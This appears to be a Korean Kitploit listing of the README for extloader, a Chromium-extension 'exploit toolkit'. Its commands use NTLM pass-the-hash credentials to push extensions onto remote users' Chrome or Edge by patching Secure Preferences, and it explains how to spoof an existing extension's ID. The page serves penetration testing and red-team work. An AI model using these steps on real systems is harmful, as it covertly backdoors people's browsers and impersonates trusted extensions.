Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
extloader — 크로미움 확장 프로그램 익스플로잇 툴킷 | Kitploit
도구/GitHubGitHub/synacktiv/extloader
Persistence MechanismsExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingRed Teaming
GitHubsynacktiv/extloader

extloader

크로미움 확장 프로그램 익스플로잇 툴킷

저장소 보기
26210개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

extLoader

압축 해제된 Chromium 확장 프로그램을 관리하고 배포하기 위한 작은 툴킷입니다.

다음 블로그 게시물에서 자세한 내용을 확인하세요: https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways

설치

직접 설치 (pipx)

root@kitploit:~
pipx install .
extloader --help

Python 3.10+를 대상으로 한 격리된 설치를 위해 pipx를 사용하세요.

개발 환경 설정 (uv)

root@kitploit:~
uv venv
source .venv/bin/activate
uv pip install -e .

인증 옵션

  • 비밀번호: -p/--password
  • 해시: -H/--hash (LM:NT 형식 또는 NT만)
  • 도메인: -d/--domain (기본값: WORKGROUP)

공통 매개변수

  • -t, --target: 대상 IP/호스트명
  • -u, --username: 사용자 이름
  • -i, --index: check 명령의 사용자 인덱스
  • --debug: 디버그 로깅 활성화

사용법

다음은 확장 프로그램을 배포하는 단계별 예시입니다:

  1. 먼저, 사용 가능한 대상을 확인합니다:
root@kitploit:~
# This will list available users and browsers
extloader check -t 192.168.1.100 -u admin -H aad3b435b51404eeaad3b435b51404ee:ntlm_hash -d corp.local

┏━━━━━━━━┳━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Index  ┃ Browser         ┃ User (SID)                                                   ┃
┡━━━━━━━━╇━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│   1    │ Chrome          │ john.doe (S-1-5-21-4196007090-2879228606-3183820935-1122)    │
│   2    │ Microsoft Edge  │ john.doe (S-1-5-21-4196007090-2879228606-3183820935-1122)    │
└────────┴─────────────────┴──────────────────────────────────────────────────────────────┘

다른 머신에서 exploit을 실행할 때는 항상 먼저 check 명령을 실행하여 컨텍스트(available_targets.json)를 새로 고치세요.

  1. 매니페스트를 준비합니다 (서명 또는 ID 스푸핑):
root@kitploit:~
# Create a deterministic crx_id by adding a key to the manifest.json
extloader sign --extension ./my-extension

기존 확장 프로그램 ID를 스푸핑하려면 위 명령을 건너뛰고 매니페스트의 key를 모방하려는 확장 프로그램의 base64 공개 키로 설정하세요. 해당 키를 재사용하면 CRX ID가 변경되지 않습니다.

  1. 확장 프로그램을 배포합니다:
root@kitploit:~
# Deploy to user index 1 (Chrome of john.doe)
extloader exploit -t 192.168.1.100 -u admin -H ntlm_hash -i 1 --extension ./my-extension

4.(대안) 수동 배포용 패키지 생성:

root@kitploit:~
# Bundle the signed extension with the captured Preferences file
extloader package --prefs-file "Preferences" --extension-dir ./my-extension --target-dir "C:\\Users\\Public"

# This creates a ZIP containing:
# - Signed extension files
# - Updated preferences files
# - Deployment instructions

--prefs-file는 백업한 브라우저 프로필 환경설정 파일을 기대합니다 (Chrome/Edge는 Secure Preferences로 저장하고, 다른 Chromium 브라우저는 Preferences를 사용합니다). 로더는 이를 복사하고 패치한 다음, 수정된 버전과 수정되지 않은 버전을 모두 패키지에 포함합니다.

root@kitploit:~
├── extension/
│   └── chrome-mv3/
├── preferences/
│   ├── brave/
│   ├── chrome/
│   ├── chromium/
    [...]
└── info.json
  1. 필요한 경우 원래 환경설정을 복원합니다:
root@kitploit:~
# Restore original preferences for user index 1 (need check command to get the correct context)
extloader restore -t 192.168.1.100 -u admin -H ntlm_hash -i 1 -f ./backup_preferences

할 일

  • Kerberos 지원
  • nxc 모듈
  • Linux용 package 워크플로우 적용
  • macOS용 package 워크플로우 적용
도구 다운로드